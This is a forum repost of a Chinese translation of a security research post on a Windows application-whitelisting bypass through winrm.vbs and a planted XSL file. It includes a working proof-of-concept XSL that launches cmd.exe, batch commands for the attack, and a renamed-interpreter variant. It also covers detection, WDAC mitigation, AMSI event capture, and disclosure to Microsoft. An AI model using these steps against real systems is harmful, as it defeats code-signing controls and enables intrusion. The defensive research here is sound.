搜索

[12998] 2018-07-29_利用Winrm.vbs绕过白名单限制执行任意代码

文档创建者：s7ckTeam
浏览次数：55
最后更新：2025-01-18
2018-07-29_利用Winrm.vbs绕过白名单限制执行任意代码 利 用 W i n r m . v b s 绕 过 白 名 单 限 制 执 行 任 意 代 码 无 。   F r e e B u f   2 0 1 8 - 0 7 - 2 9 绕 过 方 法 描 述 绕 过 方 法 描 述   绕 过 方 法 描 述 绕 过 方 法 描 述   w i n r m . v b s （ 一 个 位 于 （ 一 个 位 于 s y s t e m 3 2 目 录 下 的 具 有 目 录 下 的 具 有 W i n d o w s 签 名 的 脚 本 文 件 ） 可 以 被 用 来 调 用 用 户 定 义 的 签 名 的 脚 本 文 件 ） 可 以 被 用 来 调 用 用 户 定 义 的 X S L 文 件 ， 从 而 导 致 任 意 的 、 没 有 签 名 的 代 码 执 行 。 当 用 户 向 文 件 ， 从 而 导 致 任 意 的 、 没 有 签 名 的 代 码 执 行 。 当 用 户 向 w i n r m . v b s 提 供 提 供 ' - f o r m a t : p r e t t y ' 或 或 者 者 ' - f o r m a t : t e x t ' 参 数 时 ， 参 数 时 ， w i n r m . v b s 将 从 将 从 c s c r i p t . e x e 所 在 目 录 读 取 所 在 目 录 读 取 W s m P t y . x s l 或 或 W s m t x t . x s l 文 件 。 这 意 味 着 若 将 文 件 。 这 意 味 着 若 将 c s c r i p t . e x e 拷 贝 到 攻 击 者 可 以 控 制 的 目 录 下 ， 并 将 恶 意 的 拷 贝 到 攻 击 者 可 以 控 制 的 目 录 下 ， 并 将 恶 意 的 X S L 文 件 也 置 于 相 同 路 径 文 件 也 置 于 相 同 路 径 中 ， 攻 击 者 将 可 以 绕 过 签 名 保 护 而 执 行 任 意 代 码 。 这 个 攻 击 手 段 和 中 ， 攻 击 者 将 可 以 绕 过 签 名 保 护 而 执 行 任 意 代 码 。 这 个 攻 击 手 段 和 C a s e y   S m i t h 的 的 w m i c . e x e 技 术 很 相 像 。 技 术 很 相 像 。 绕 过 方 法 的 绕 过 方 法 的 P O C 绕 过 方 法 的 绕 过 方 法 的 P O C 整 个 工 作 流 程 如 下 所 示 ： 1 . 在 攻 击 者 可 以 控 制 的 目 录 中 放 置 恶 意 的 W s m P t y . x s l 或 者 W s m T x t . x s l 文 件 。 2 . 拷 贝 c s c r i p t . e x e 或 者 w s c r i p t . e x e 到 相 同 的 目 录 中 。 3 . 根 据 第 一 步 中 的 恶 意 X S L 文 件 ( W s m P t y . x s l 或 者 W s m T x t . x s l ) ， 执 行 w i n r m . v b s 并 提 供 不 同 的 参 数 ( ' - f o r m a t : p r e t t y ' 或 者 ' - f o r m a t : t e x t ' ) 。 下 面 是 一 个 恶 意 X S L 文 件 的 例 子 。 该 文 件 可 以 被 放 置 到 上 述 第 一 步 中 的 路 径 中 （ 对 于 这 个 例 子 来 说 ， 是 C : B y p a s s D i r W s m P t y . x s l ） : < ? x m l   v e r s i o n = ' 1 . 0 ' ? > < s t y l e s h e e t x m l n s = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m "   x m l n s : m s = " u r n : s c h e m a s - m i c r o s o f t - c o m : x s l t " x m l n s : u s e r = " p l a c e h o l d e r " v e r s i o n = " 1 . 0 " > < o u t p u t   m e t h o d = " t e x t " / >   < m s : s c r i p t   i m p l e m e n t s - p r e f i x = " u s e r "   l a n g u a g e = " J S c r i p t " >   < ! [ C D A T A [   v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d . e x e " ) ;   ] ] >   < / m s : s c r i p t > < / s t y l e s h e e t > 一 个 更 加 有 攻 击 意 义 的 X S L 文 件 可 以 执 行 通 过 D o t N e t T o J S c r i p t 生 成 的 P a y l o a d ， 导 致 攻 击 者 可 以 利 用 该 手 法 执 行 任 意 不 具 有 签 名 的 代 码 。 在 放 置 了 恶 意 X S L 文 件 后 ， 以 下 的 批 处 理 文 件 可 以 被 用 来 启 动 p a y l a o d ： m k d i r   % S y s t e m D r i v e % B y p a s s D i r c o p y   % w i n d i r % S y s t e m 3 2 c s c r i p t . e x e   % S y s t e m D r i v e % B y p a s s D i r % S y s t e m D r i v e % B y p a s s D i r c s c r i p t   / / n o l o g o   % w i n d i r % S y s t e m 3 2 w i n r m . v b s   g e t   w m i c i m v 2 / W i n 3 2 _ P r o c e s s ? H a n d l e = 4   - f o r m a t : p r e t t y 我 是 如 何 发 现 该 问 题 的 我 是 如 何 发 现 该 问 题 的 我 是 如 何 发 现 该 问 题 的 我 是 如 何 发 现 该 问 题 的 我 发 现 这 个 问 题 完 全 是 出 于 偶 然 。 我 曾 和 C a s e y 一 起 研 究 利 用 w m i c . e x e 的 X S L 绕 过 方 法 ， 不 久 之 后 ， 我 又 开 始 检 查 系 统 自 带 的 各 种 V B S 和 J S c r i p t 文 件 ， 寻 找 更 多 的 绕 过 方 法 。 我 之 所 以 开 始 检 查 这 些 自 带 的 脚 本 是 因 为 M a t t   N e l s o n 的 . v b s 注 入 技 术 给 了 我 启 发 。 当 我 在 查 阅 w i n r m . v b s 源 码 的 时 候 ， 文 件 中 的 ' W s m P t y ' 以 及 ' W s m T x t ' 马 上 引 起 了 我 的 注 意 ， 因 为 C a s e y 曾 经 在 他 的 博 客 中 说 过 ， 对 于 使 用 了 X S L 的 文 件 ， 它 们 可 以 通 过 在 X S L 文 件 中 嵌 入 W S H 脚 本 内 容 而 拥 有 执 行 任 意 代 码 的 潜 力 。 毫 无 疑 问 ， w i n r m . v b s 也 不 例 外 。 我 非 常 注 重 于 寻 找 这 些 具 备 W i n d o w s 签 名 的 ， 并 可 以 导 致 任 意 代 码 执 行 的 脚 本 或 者 二 进 制 文 件 。 这 是 因 为 它 们 不 仅 可 以 绕 过 应 用 白 名 单 的 防 御 ， 同 时 它 们 也 不 容 易 被 安 全 软 件 检 查 出 来 （ 至 少 当 它 们 还 没 有 被 公 布 的 时 候 ） 。 我 会 一 直 都 在 寻 找 它 们 的 路 上 ！ 检 测 策 略 检 测 策 略 检 测 策 略 检 测 策 略 若 要 对 上 述 的 方 法 做 出 有 效 的 检 测 和 防 护 ， 寻 找 这 类 攻 击 手 段 所 需 要 的 最 小 组 件 集 合 是 很 重 要 的 。 攻 击 者 控 制 的 W s m P t y . x s l 或 者 W s m T x t . x s l 文 件 一 定 会 被 创 建 w i n r m . v b s 硬 编 码 了 这 两 个 文 件 的 名 字 ， 并 明 确 将 这 两 个 文 件 同 ' p r e t t y ' 或 者 ' t e x t ' 参 数 绑 定 到 了 一 起 。 目 前 来 看 ， 这 两 个 文 件 只 可 能 当 前 工 作 目 录 中 被 获 取 （ 多 数 情 况 下 就 是 c s c r i p t . e x e 所 在 的 目 录 ） ， 而 不 太 可 能 被 重 定 向 到 其 他 位 置 。 从 防 守 的 角 度 上 来 说 ， 若 一 个 W s m P t y . x s l 或 W s m T x t . x s l 文 件 与 它 们 在 S y s t e m 3 2 目 录 下 的 版 本 具 有 不 同 哈 希 值 ， 则 我 们 可 以 认 为 这 个 X S L 文 件 是 可 疑 的 。 幸 运 的 是 ， 合 法 的 X S L 文 件 很 少 会 有 变 化 。 一 个 具 有 有 效 签 名 的 w i n r m . v b s 会 被 执 行 。 若 要 利 用 本 文 的 绕 过 方 法 ， 攻 击 者 不 能 修 改 w i n r m . v b s 的 内 容 通 过 在 命 令 行 中 寻 找 ' w i n r m . v b s ' 字 符 串 这 种 防 御 手 段 是 不 足 的 ， 因 为 攻 击 者 可 以 任 意 修 改 w i n r m . v b s 的 文 件 名 。 调 用 w i n r m . v b s 时 的 ' f o r m a t ' 参 数 必 须 指 定 为 ' p r e t t y ' 或 ' t e x t ' ， 这 样 w i n r m . v b s 才 会 调 用 对 应 x s l 文 件 攻 击 者 不 仅 仅 可 以 采 用 ' f o r m a t ' 参 数 ， 下 面 的 变 种 形 式 也 是 可 以 的 ( 大 小 写 敏 感 ) ： - f o r m a t : p r e t t y - f o r m a t : " p r e t t y "
/ f o r m a t : p r e t t y / f o r m a t : " p r e t t y " - f o r m a t : t e x t - f o r m a t : " t e x t " / f o r m a t : t e x t / f o r m a t : " t e x t " 若 仅 仅 查 找 ' f o r m a t ' 字 符 串 可 以 检 测 到 上 述 的 所 有 变 体 ， 这 种 方 法 带 来 的 误 报 会 很 多 。 ' f o r m a t : ' 后 面 所 接 内 容 的 合 法 与 否 将 取 决 于 具 体 的 公 司 环 境 。 不 过 ， 对 x s l 文 件 的 合 法 引 用 更 多 的 来 源 于 s y s t e m 3 2 目 录 下 的 c s r i p t . e x e 和 w i n r m . v b s 文 件 ， 而 不 会 来 源 于 其 他 位 置 。 w i n r m . v b s 应 该 是 被 c s c r i p t . e x e 执 行 的 。 w i n r m . v b s 内 部 的 逻 辑 验 证 了 这 一 点 。 w i n r m . v b s 通 过 验 证 W S c r i p t . F u l l N a m e 是 否 包 含 了 字 符 串 ' c s c r i p t . e x e ' 这 一 点 来 验 证 其 自 身 是 被 c s c r i p t . e x e 执 行 的 。 这 个 验 证 本 身 是 不 够 完 善 的 ， 因 为 它 仅 仅 检 查 可 执 行 文 件 的 路 径 中 是 否 包 含 ' c s c r i p t . e x e ' 字 符 串 。 这 将 导 致 攻 击 者 可 以 从 一 个 被 重 命 名 过 的 c s c r i p t . e x e 启 动 w i n r m . v b s ， 甚 至 可 以 用 其 他 的 脚 本 解 释 器 ( 例 如 w s c r i p t . e x e ) 来 启 动 w i n r m . v b s 。 下 面 的 批 处 理 程 序 的 例 子 解 释 了 如 何 绕 过 w i n r m . v b s 脚 本 中 对 ' c s c r i p t . e x e ' 的 验 证 ： m k d i r   % S y s t e m D r i v e % B y p a s s D i r c s c r i p t . e x e c o p y   % w i n d i r % S y s t e m 3 2 w s c r i p t . e x e   % S y s t e m D r i v e % B y p a s s D i r c s c r i p t . e x e w i n w o r d . e x e % S y s t e m D r i v e % B y p a s s D i r c s c r i p t . e x e w i n w o r d . e x e   / / n o l o g o   % w i n d i r % S y s t e m 3 2 w i n r m . v b s   g e t   w m i c i m v 2 / W i n 3 2 _ P r o c e s s ? H a n d l e = 4   - f o r m a t : p r e t t y 检 测 方 法 的 健 壮 性 检 测 方 法 的 健 壮 性 检 测 方 法 的 健 壮 性 检 测 方 法 的 健 壮 性 P O C 例 子 中 的 g e t   w m i c i m v 2 / W i n 3 2 _ P r o c e s s ? H a n d l e = 4 仅 仅 是 为 了 说 明 实 际 的 命 令 行 参 数 将 返 回 一 些 有 意 义 的 东 西 。 这 并 不 意 味 着 这 个 方 法 需 要 W i n R M 服 务 被 启 用 。 有 很 多 的 选 项 都 可 以 支 持 ' f o r m a t ' 参 数 。 足 够 健 壮 的 检 测 手 段 不 应 该 从 命 令 行 中 检 测 ' c s c r i p t . e x e ' 或 者 ' w s c r i p t . e x e ' 作 为 判 断 依 据 。 尽 管 如 果 攻 击 者 没 有 刻 意 规 避 检 测 ， 这 种 检 测 方 法 可 以 检 测 到 上 文 所 述 的 攻 击 手 段 ， 但 是 攻 击 者 若 是 将 s c r i p t . e x e 拷 贝 并 重 命 名 ， 检 测 手 段 就 对 此 无 能 为 力 了 。 一 个 更 加 健 壮 的 检 测 方 法 应 该 考 虑 检 测 二 进 制 文 件 的 签 名 以 及 它 的 ' 原 始 文 件 名 ' 。 ' 原 始 文 件 名 ' 这 一 属 性 被 嵌 入 到 了 二 进 制 文 件 之 中 ， 并 被 签 名 所 保 护 ， 而 如 果 攻 击 者 想 要 修 改 这 一 属 性 ， 二 进 制 文 件 的 签 名 将 会 失 效 。 缓 解 和 阻 止 措 施 缓 解 和 阻 止 措 施 缓 解 和 阻 止 措 施 缓 解 和 阻 止 措 施 本 文 提 到 的 绕 过 方 法 可 以 通 过 启 用 W i n d o w s   D e f e n d e r   A p p l i c a t i o n   C o n t r o l ( W D A C ) 的 U s e r   M o d e   C o d e   I n t e g r i t y ( U M C I ) 选 项 来 阻 止 。 由 于 目 前 并 没 有 其 他 有 效 的 方 法 阻 止 这 些 具 有 W i n d o w s 签 名 的 脚 本 文 件 运 行 ， 具 有 威 胁 的 脚 本 文 件 将 通 过 其 哈 希 值 被 禁 用 。 不 过 获 取 各 个 版 本 的 脚 本 文 件 的 哈 希 值 会 是 很 困 难 的 ， 考 虑 到 W i n d o w s 如 此 庞 大 的 版 本 数 量 。 这 篇 博 客 详 细 说 明 了 为 什 么 通 过 哈 希 值 禁 用 文 件 是 不 高 效 的 。 至 于 缓 解 措 施 ， 微 软 可 以 修 改 这 个 脚 本 文 件 的 内 容 并 重 新 进 行 签 名 。 如 果 这 样 做 的 话 ， 这 将 导 致 之 前 版 本 的 脚 本 文 件 的 签 名 失 效 。 所 以 如 果 我 们 通 过 W D A C 启 用 了 脚 本 执 行 的 签 名 保 护 ， 这 些 脚 本 的 执 行 将 失 败 。 然 而 ， 这 样 的 场 景 只 能 阻 止 一 个 非 管 理 员 账 户 进 行 攻 击 ， 因 为 攻 击 者 可 以 通 过 管 理 员 权 限 安 装 微 软 之 前 版 本 的 c a t a l o g 签 名 ， 从 而 恢 复 脚 本 文 件 的 签 名 信 息 。 上 述 的 阻 止 和 缓 解 措 施 都 依 赖 于 W D A C 的 开 启 。 考 虑 到 目 前 有 大 量 企 业 并 没 有 开 启 W D A C ， 就 算 w i n r m . v b s 被 微 软 修 复 ， 也 没 有 什 么 措 施 可 以 阻 止 攻 击 将 旧 版 本 的 w i n r m . v b s 文 件 放 在 系 统 中 并 加 以 利 用 。 因 此 ， 就 算 微 软 修 复 了 w i n r m . v b s 的 问 题 ， 目 前 也 没 有 真 正 足 够 健 壮 的 方 法 可 以 防 护 此 问 题 。 W S H / X S L 脚 本 检 测 脚 本 检 测 W S H / X S L 脚 本 检 测 脚 本 检 测 这 不 是 第 一 次 W S H / X S L 被 攻 击 者 滥 用 ， 也 不 会 是 最 后 一 次 。 攻 击 者 应 该 需 要 了 解 它 们 的 p a y l o a d 到 底 是 从 磁 盘 中 的 文 件 被 执 行 或 者 是 完 全 在 内 存 中 被 执 行 。 通 过 S c r i p t L o g g i n g 技 术 , P o w e r s h e l l 完 全 具 有 这 种 能 力 。 然 而 对 于 W S H 来 说 ， 它 们 却 不 具 备 类 似 的 能 力 。 然 而 ， 只 要 你 对 于 E T W 熟 悉 ， 利 用 A n t i m a l w a r e   S c a n   I n t e r f a c e ( A M S I ) 捕 获 W S H 的 内 容 是 完 全 可 能 的 。 A M S I 通 过   E T W   P r o v i d e r 被 暴 露 出 来 。 如 果 你 想 尝 试 获 取 A S M I 事 件 ， K r a b s E T W 是 你 可 以 采 用 的 最 好 的 库 之 一 。 不 过 ， 若 仅 仅 出 于 实 验 目 的 ， 你 可 以 通 过 l o g m a n . e x e 获 取 E T L 记 录 。 下 面 的 例 子 可 以 开 始 和 暂 停 E T L 的 记 录 ， 并 将 A S M I 相 关 的 事 件 记 录 到 A S M I T r a c e . e t l : l o g m a n   s t a r t   A M S I T r a c e   - p   M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e   E v e n t 1   - o   A M S I T r a c e . e t l   - e t s < A f t e r   s t a r t i n g   t h e   t r a c e ,   t h i s   i s   w h e n   y o u ' d   r u n   y o u r   m a l i c i o u s   c o d e   t o   c a p t u r e   i t s   c o n t e x t . > l o g m a n   s t o p   A M S I T r a c e   - e t s 尽 管 本 文 章 将 不 会 讨 论 E T W 技 术 ， 你 可 能 还 是 想 知 道 我 是 怎 么 知 道 ' M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e ' 这 一 E W T   P r o v i d e r ， 并 且 上 文 中 的 ' E v e n t 1 ' 又 是 从 何 而 来 。 我 是 通 过 这 一 命 令 查 找 已 注 册 p r o v i d e r s 的 名 称 的 。 ' E v e n t 1 ' 这 一 关 键 字 对 应 着 捕 获 A S M I 信 息 。 为 了 找 到 这 个 关 键 字 ， 我 通 过 p e r f v i e w . e x e 将 E T W 清 单 文 件 导 出 到 X M L 。 这 个 清 单 文 件 可 以 让 你 很 清 楚 地 了 解 到 通 过 这 一 p r o v i d e r 到 底 可 以 查 询 到 哪 些 事 件 。 < i n s t r u m e n t a t i o n M a n i f e s t   x m l n s = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / w i n / 2 0 0 4 / 0 8 / e v e n t s " >   < i n s t r u m e n t a t i o n   x m l n s : x s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : w i n = " h t t p : / / m a n i f e s t s . m i c r o s o f t . c o m / w i n / 2 0 0 4 / 0 8 / w i n d o w s / e v e n t s " >     < e v e n t s >       < p r o v i d e r   n a m e = " M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e "   g u i d = " { 2 a 5 7 6 b 8 7 - 0 9 a 7 - 5 2 0 e - c 2 1 a - 4 9 4 2 f 0 2 7 1 d 6 7 } "   r e s o u r c e F i l e N a m e = " M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e "   m e s s a g e F i l e N a m e = " M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e "   s y m b o l = " M i c r o s o f t A n t i m a l w a r e S c a n I n t e r f a c e "   s o u r c e = " X m l "   >         < k e y w o r d s >           < k e y w o r d   n a m e = " E v e n t 1 "   m e s s a g e = " $ ( s t r i n g . k e y w o r d _ E v e n t 1 ) "   m a s k = " 0 x 1 " / >         < / k e y w o r d s >         < t a s k s >           < t a s k   n a m e = " t a s k _ 0 "   m e s s a g e = " $ ( s t r i n g . t a s k _ t a s k _ 0 ) "   v a l u e = " 0 " / > M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e l o g m a n   q u e r y   p r o v i d e r s
        < / t a s k s >         < e v e n t s >           < e v e n t   v a l u e = " 1 1 0 1 "   s y m b o l = " t a s k _ 0 "   v e r s i o n = " 0 "   t a s k = " t a s k _ 0 "   l e v e l = " w i n : I n f o r m a t i o n a l "   k e y w o r d s = " E v e n t 1 "   t e m p l a t e = " t a s k _ 0 A r g s " / >         < / e v e n t s >         < t e m p l a t e s >           < t e m p l a t e   t i d = " t a s k _ 0 A r g s " >             < d a t a   n a m e = " s e s s i o n "   i n T y p e = " w i n : P o i n t e r " / >             < d a t a   n a m e = " s c a n S t a t u s "   i n T y p e = " w i n : U I n t 8 " / >             < d a t a   n a m e = " s c a n R e s u l t "   i n T y p e = " w i n : U I n t 3 2 " / >             < d a t a   n a m e = " a p p n a m e "   i n T y p e = " w i n : U n i c o d e S t r i n g " / >             < d a t a   n a m e = " c o n t e n t n a m e "   i n T y p e = " w i n : U n i c o d e S t r i n g " / >             < d a t a   n a m e = " c o n t e n t s i z e "   i n T y p e = " w i n : U I n t 3 2 " / >             < d a t a   n a m e = " o r i g i n a l s i z e "   i n T y p e = " w i n : U I n t 3 2 " / >             < d a t a   n a m e = " c o n t e n t "   i n T y p e = " w i n : B i n a r y "   l e n g t h = " c o n t e n t s i z e " / >             < d a t a   n a m e = " h a s h "   i n T y p e = " w i n : B i n a r y " / >             < d a t a   n a m e = " c o n t e n t F i l t e r e d "   i n T y p e = " w i n : B o o l e a n " / >           < / t e m p l a t e >         < / t e m p l a t e s >       < / p r o v i d e r >     < / e v e n t s >   < / i n s t r u m e n t a t i o n >   < l o c a l i z a t i o n >     < r e s o u r c e s   c u l t u r e = " e n - U S " >       < s t r i n g T a b l e >         < s t r i n g   i d = " k e y w o r d _ E v e n t 1 "   v a l u e = " E v e n t 1 " / >         < s t r i n g   i d = " t a s k _ t a s k _ 0 "   v a l u e = " t a s k _ 0 " / >       < / s t r i n g T a b l e >     < / r e s o u r c e s >   < / l o c a l i z a t i o n > < / i n s t r u m e n t a t i o n M a n i f e s t > 在 捕 获 到 E T L 记 录 后 ， 你 就 可 以 自 己 任 意 选 择 工 具 来 进 行 分 析 。 G e t - W i n E v e n t 这 一 p o w e r s h e l l 命 令 就 可 以 很 好 的 解 析 E T L 记 录 。 我 写 了 一 个 简 单 的 脚 本 来 解 析 A S M I 事 件 。 需 要 注 意 的 是 ， W S H 无 法 提 供 ' c o n t e n t n a m e ' 这 一 属 性 ， 导 致 我 们 不 得 不 手 动 解 析 这 一 事 件 信 息 。 这 个 脚 本 也 会 捕 获 到 p o w e r s h e l l 的 内 容 。 #   S c r i p t   a u t h o r :   M a t t   G r a e b e r   ( @ m a t t i f e s t a t i o n ) #   l o g m a n   s t a r t   A M S I T r a c e   - p   M i c r o s o f t - A n t i m a l w a r e - S c a n - I n t e r f a c e   E v e n t 1   - o   A M S I T r a c e . e t l   - e t s #   D o   y o u r   m a l i c i o u s   t h i n g s   h e r e   t h a t   w o u l d   b e   l o g g e d   b y   A M S I #   l o g m a n   s t o p   A M S I T r a c e   - e t s $ O S A r c h P r o p e r t y   =   G e t - C i m I n s t a n c e   - C l a s s N a m e   W i n 3 2 _ O p e r a t i n g S y s t e m   - P r o p e r t y   O S A r c h i t e c t u r e $ O S A r c h   =   $ O S A r c h P r o p e r t y . O S A r c h i t e c t u r e $ O S P o i n t e r S i z e   =   3 2 i f   ( $ O S A r c h   - e q   ' 6 4 - b i t ' )   {   $ O S P o i n t e r S i z e   =   6 4   } $ A M S I S c a n E v e n t s   =   G e t - W i n E v e n t   - P a t h   . A M S I T r a c e . e t l   - O l d e s t   - F i l t e r X P a t h   ' * [ S y s t e m [ E v e n t I D = 1 1 0 1 ] ] '   |   F o r E a c h - O b j e c t   {         i f   ( - n o t   $ _ . P r o p e r t i e s )   {                 #   T h e   A M S I   p r o v i d e r   i s   n o t   s u p p l y i n g   t h e   c o n t e n t n a m e   p r o p e r t y   w h e n   W S H   c o n t e n t   i s   l o g g e d   r e s u l t i n g                 #   i n   G e t - W i n E v e n t   o r   E v e n t   V i e w e r   b e i n g   u n a b l e   t o   p a r s e   t h e   d a t a   b a s e d   o n   t h e   s c h e m a .                 #   I f   t h i s   b u g   w e r e   n o t   p r e s e n t ,   r e t r i e v i n g   W S H   c o n t e n t   w o u l d   b e   t r i v i a l .                 $ P a y l o a d S t r i n g   =   ( [ X m l ]   $ _ . T o X m l ( ) ) . E v e n t . P r o c e s s i n g E r r o r D a t a . E v e n t P a y l o a d                 [ B y t e [ ] ]   $ P a y l o a d B y t e s   =   ( $ P a y l o a d S t r i n g   - s p l i t   ' ( [ 0 - 9 A - F ] { 2 } ) '   |   W h e r e - O b j e c t   { $ _ }   |   F o r E a c h - O b j e c t   { [ B y t e ]   " 0 x $ _ " } )                 $ M e m o r y S t r e a m   =   N e w - O b j e c t   - T y p e N a m e   I O . M e m o r y S t r e a m   - A r g u m e n t L i s t   @ ( , $ P a y l o a d B y t e s )                 $ B i n a r y R e a d e r   =   N e w - O b j e c t   - T y p e N a m e   I O . B i n a r y R e a d e r   - A r g u m e n t L i s t   $ M e m o r y S t r e a m ,   ( [ T e x t . E n c o d i n g ] : : U n i c o d e )                 s w i t c h   ( $ O S P o i n t e r S i z e )   {                         3 2   {   $ S e s s i o n   =   $ B i n a r y R e a d e r . R e a d U I n t 3 2 ( )   }                         6 4   {   $ S e s s i o n   =   $ B i n a r y R e a d e r . R e a d U I n t 6 4 ( )   }                 }                 $ S c a n S t a t u s   =   $ B i n a r y R e a d e r . R e a d B y t e ( )
                $ S c a n R e s u l t   =   $ B i n a r y R e a d e r . R e a d I n t 3 2 ( )                 $ S t r i n g B u i l d e r   =   N e w - O b j e c t   - T y p e N a m e   T e x t . S t r i n g B u i l d e r                 d o   {   $ C h a r V a l   =   $ B i n a r y R e a d e r . R e a d I n t 1 6 ( ) ;   $ n u l l   =   $ S t r i n g B u i l d e r . A p p e n d ( [ C h a r ]   $ C h a r V a l )   }   w h i l e   ( $ C h a r V a l   - n e   0 )                 $ A p p N a m e   =   $ S t r i n g B u i l d e r . T o S t r i n g ( )                 $ n u l l   =   $ S t r i n g B u i l d e r . C l e a r ( )                 $ C o n t e n t S i z e   =   $ B i n a r y R e a d e r . R e a d I n t 3 2 ( )                 $ O r i g i n a l S i z e   =   $ B i n a r y R e a d e r . R e a d I n t 3 2 ( )                 $ C o n t e n t R a w   =   $ B i n a r y R e a d e r . R e a d B y t e s ( $ C o n t e n t S i z e )                 $ C o n t e n t   =   [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( $ C o n t e n t R a w )                 $ H a s h   =   [ B i t C o n v e r t e r ] : : T o S t r i n g ( $ B i n a r y R e a d e r . R e a d B y t e s ( 0 x 2 0 ) ) . R e p l a c e ( ' - ' ,   ' ' )                 [ B o o l ]   $ C o n t e n t F i l t e r e d   =   $ B i n a r y R e a d e r . R e a d I n t 3 2 ( )                 $ B i n a r y R e a d e r . C l o s e ( )                 [ P S C u s t o m O b j e c t ]   @ {                         S e s s i o n   =   $ S e s s i o n                         S c a n S t a t u s   =   $ S c a n S t a t u s                         S c a n R e s u l t   =   $ S c a n R e s u l t                         A p p N a m e   =   $ A p p N a m e                         C o n t e n t N a m e   =   $ n u l l                         C o n t e n t   =   $ C o n t e n t                         H a s h   =   $ H a s h                         C o n t e n t F i l t e r e d   =   $ C o n t e n t F i l t e r e d                 }         }   e l s e   {                 $ S e s s i o n   =   $ _ . P r o p e r t i e s [ 0 ] . V a l u e                 $ S c a n S t a t u s   =   $ _ . P r o p e r t i e s [ 1 ] . V a l u e                 $ S c a n R e s u l t   =   $ _ . P r o p e r t i e s [ 2 ] . V a l u e                 $ A p p N a m e   =   $ _ . P r o p e r t i e s [ 3 ] . V a l u e                 $ C o n t e n t N a m e   =   $ _ . P r o p e r t i e s [ 4 ] . V a l u e                 $ C o n t e n t   =   [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( $ _ . P r o p e r t i e s [ 7 ] . V a l u e )                 $ H a s h   =   [ B i t C o n v e r t e r ] : : T o S t r i n g ( $ _ . P r o p e r t i e s [ 8 ] . V a l u e ) . R e p l a c e ( ' - ' ,   ' ' )                 $ C o n t e n t F i l t e r e d   =   $ _ . P r o p e r t i e s [ 9 ] . V a l u e                 [ P S C u s t o m O b j e c t ]   @ {                         S e s s i o n   =   $ S e s s i o n                         S c a n S t a t u s   =   $ S c a n S t a t u s                         S c a n R e s u l t   =   $ S c a n R e s u l t                         A p p N a m e   =   $ A p p N a m e                         C o n t e n t N a m e   =   $ C o n t e n t N a m e                         C o n t e n t   =   $ C o n t e n t                         H a s h   =   $ H a s h                         C o n t e n t F i l t e r e d   =   $ C o n t e n t F i l t e r e d                 }         } } $ A M S I S c a n E v e n t s 在 成 功 捕 获 之 后 ， 你 就 可 以 看 到 这 次 执 行 p a y l o a d 的 内 容 了 。 p i c   h e r e 利 用 E T W 进 行 相 关 检 测 并 不 是 这 篇 文 章 的 主 题 ， 不 过 希 望 这 篇 文 章 能 够 让 你 产 生 足 够 的 兴 趣 ， 让 你 之 后 进 行 深 入 研 究 。 披 露 时 间 线 披 露 时 间 线 披 露 时 间 线 披 露 时 间 线 为 了 避 免 我 们 披 露 此 问 题 后 ， 攻 击 者 利 用 该 漏 洞 造 成 不 良 影 响 ， 我 们 一 般 会 先 向 厂 商 报 告 漏 洞 并 提 供 足 够 多 的 时 间 让 它 们 修 复 问 题 。 由 于 本 文 的 漏 洞 涉 及 到 W i n d o w s   D e f e n d e r   A p p l i c a t i o n   C o n t r o l ， 我 们 将 这 个 问 题 提 供 给 了 W i n d o w s 。 整 个 时 间 线 如 下 所 示 。 A p r i l   2 4 ,   2 0 1 8   —   向 M S R C 报 告 此 问 题 A p r i l   2 4 ,   2 0 1 8   —   M S R C 知 晓 了 问 题 并 提 供 了 一 个 事 件 编 号 A p r i l   3 0 ,   2 0 1 8   —   收 到 邮 件 ， 告 诉 我 们 该 问 题 已 被 复 现 M a y   2 4 ,   2 0 1 8   —   向 M S R C 发 送 邮 件 ， 要 求 更 新 M a y   2 8 ,   2 0 1 8   —   回 复 称 评 估 过 程 仍 在 继 续
J u n e   1 0 ,   2 0 1 8   —   向 M S R C 发 送 邮 件 ， 要 求 更 新 J u n e   1 1 ,   2 0 1 8   —   M S R C 回 复 称 计 划 在 8 月 更 新 中 修 复 问 题 J u l y   1 2 ,   2 0 1 8   —   M S R C 回 复 称 该 问 题 不 能 通 过 安 全 更 新 方 式 解 决 ， 可 能 会 在 下 一 个 版 本 更 新 中 修 复 此 问 题 。 原 文 地 址 ：   h t t p s : / / p o s t s . s p e c t e r o p s . i o / a p p l i c a t i o n - w h i t e l i s t i n g - b y p a s s - a n d - a r b i t r a r y - u n s i g n e d - c o d e - e x e c u t i o n - t e c h n i q u e - i n - w i n r m - v b s - c 8 c 2 4 f b 4 0 4 0 4   * 本 文 作 者 ： 无 。 ， 转 载 请 注 明 来 自 本 文 作 者 ： 无 。 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理